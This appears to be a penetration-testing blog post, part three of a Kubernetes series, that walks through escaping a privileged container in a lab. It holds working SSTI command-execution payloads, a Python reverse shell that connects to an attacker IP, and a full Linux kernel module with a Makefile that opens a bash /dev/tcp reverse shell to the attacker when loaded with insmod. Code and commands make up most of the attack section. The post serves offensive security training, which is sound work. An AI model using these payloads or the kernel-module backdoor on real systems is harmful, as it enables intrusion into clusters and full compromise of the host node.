Kubernetes Penetration Testing – Part Three: Breaking Out of Privileged Containers

In Part One, we began our offensive journey by exploiting a vulnerable web app to gain initial access to a Kubernetes container. In Part Two, we escalated privileges using the exposed Docker socket, ultimately compromising the underlying Worker host filesystem Node.

Now in Part Three, we explore another critical attack path, starting with a Server-Side Template Injection (SSTI) vulnerability in the application to gain code execution inside the container. From there, we demonstrate how misconfigured containers running with the --privileged flag can be exploited to escape the container sandbox and execute commands directly on the host. This chained attack highlights how seemingly minor web vulnerabilities can lead to full cluster compromise when layered with misconfigurations.

What You’ll Learn

In this blog, we’ll walk through:

  • How the --privileged flag works in Kubernetes
  • Common exploitation techniques using cap_sys_admin, cap_sys_ptrace, cap_sys_module
  • Escaping the container to access and control the underlying Node
  • How defenders can detect and prevent this critical misconfiguration

Our lab includes intentionally misconfigured Kubernetes pods running with securityContext.privileged: true. This grants containers excessive privileges, often equivalent to root access on the host.

The Kernel Module Reverse Shell code used for this blog can be downloaded from our GitHub

The --privileged flag (or privileged: true in Kubernetes pod specs) lifts all security restrictions imposed by the container runtime:

  • Access to all kernel capabilities (e.g., CAP_SYS_MODULE, CAP_SYS_ADMIN, CAP_NET_ADMIN)
  • Ability to interact with device drivers, kernel modules, and host namespaces
  • Access to sensitive files in /proc and /sys

Risk: A privileged container is practically equivalent to a chrooted root shell on the host.

Red Team Tip:

During post-exploitation, always check for:

  • /var/run/docker.sock
  • Suspicious mounts (/host, /proc, /root)
  • Privileged flags or capabilities

Step 1: Web Exploitation: Discovery SSTI Vulnerability

Let’s test a few SSTI payloads to verify the vulnerability.

{{7*7}}
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
{{config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()}}
{{config.__class__.__init__.__globals__['os'].popen('uname -arvmo').read()}}

Step 2: Web Exploitation: SSTI Injection

Leverage the discovered SSTI vulnerability to spawn a reverse shell back to our attacker machine and gain remote access to the vulnerable container. Set up a Netcat listener to catch the reverse shell on your attacker machine (e.g., Kali or Parrot).

nc -lvnp 5555

{{config.__class__.__init__.__globals__['os'].popen("python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"192.168.115.178\",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'").read()}}

Assuming we already have a reverse shell inside a privileged container, here are the paths we can take to escalate access.

In privileged containers with access to CAP_SYS_MODULE attackers can take exploitation to the next level, loading a custom kernel module to execute arbitrary commands on the host.

This method bypasses traditional Linux protections by executing in kernel space, giving attackers direct, stealthy access to the Node OS.

Step 1: Verify Kernel Module Capability

# To install capsh
Alpine Linux: Use apk add -U libcap.
Debian-based distributions (e.g., Ubuntu): Use apt update && apt install -y libcap2-bin

capsh --print
capsh --print |grep cap

Step 2: Prepare the Host for Kernel Module Compilation

# Makefile for building the Kubernetes LKM reverse shell

obj-m += k8s-lkm-reverse-shell.o

KDIR := /lib/modules/$(shell uname -r)/build
PWD  := $(shell pwd)

all:
	$(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
	$(MAKE) -C $(KDIR) M=$(PWD) clean

Step 3: Write the Kernel Module

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/kmod.h>
#include <linux/workqueue.h>
#include <linux/slab.h>

#define REVERSE_SHELL_CMD \
    "bash -i >& /dev/tcp/192.168.115.178/6999 0>&1"

/* Will hold our dynamically-allocated command string */
static char *cmd_buf;

/* argv and envp for call_usermodehelper */
static char *argv_local[4];
static char *envp_local[] = {
    "HOME=/",
    NULL
};

/* Work item to defer our userspace call */
static DECLARE_WORK(cb_work, NULL);

/* Work handler — runs in process context, outside of module init */
static void cb_work_handler(struct work_struct *work)
{
    pr_info("cb_work_handler: launching reverse shell\n");
    call_usermodehelper(argv_local[0], argv_local, envp_local, UMH_NO_WAIT);
}

static int __init connect_back_init(void)
{
    /* 1) Allocate & copy the command into kernel memory */
    cmd_buf = kmalloc(strlen(REVERSE_SHELL_CMD) + 1, GFP_KERNEL);
    if (!cmd_buf)
        return -ENOMEM;
    strcpy(cmd_buf, REVERSE_SHELL_CMD);

    /* 2) Populate argv */
    argv_local[0] = "/bin/bash";
    argv_local[1] = "-c";
    argv_local[2] = cmd_buf;
    argv_local[3] = NULL;

    /* 3) Initialize and schedule our work item */
    INIT_WORK(&cb_work, cb_work_handler);
    schedule_work(&cb_work);

    pr_info("connect_back: module loaded, work scheduled\n");
    return 0;
}

static void __exit connect_back_exit(void)
{
    /* Ensure any pending work has finished */
    flush_work(&cb_work);

    /* Free our command buffer */
    kfree(cmd_buf);

    pr_info("connect_back: module exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("RBT Security");
MODULE_DESCRIPTION("Deferred reverse‐shell via privileged container escape PoC");

Step 4: Compile the Kernel Module

make clean && make

Step 5: Transfer the Module to the Container

Use a Python or scp, kubectl cp, or mount a writable volume to transfer the compiled .ko module to the container.

Step 6: Load the Module & Gain a reverse shell

As we can see, we successfully escaped from the container, moved vertically, and compromised the worker node’s Linux system; we confirmed container breakout by accessing docker-worker-sock-vuln-crackme.txt, a file only present on the host’s root filesystem, verifying full Node access.

nc -lvnp 6999

insmod reverseshell_module.ko

In Part Three, we demonstrated how attackers can break out of containers and gain full control of the Kubernetes Node by abusing the --privileged flag. With elevated capabilities, access to kernel interfaces, and host namespace control, this misconfiguration effectively removes all isolation, turning a compromised container into a launchpad for host domination.

This highlights a core principle of Kubernetes security:

A single pod running with privileged access can unravel an entire cluster, especially if detection and segmentation controls are weak or misconfigured.

Next up: We’ll explore lateral movement using Kubernetes RBAC misconfigurations, demonstrating how attackers escalate from compromised Nodes to cluster-wide control.

Stay tuned for the next adversary emulation focused on Kubernetes cluster.

Share the Post:

Table of Contents

Subscribe To Our Blog

Light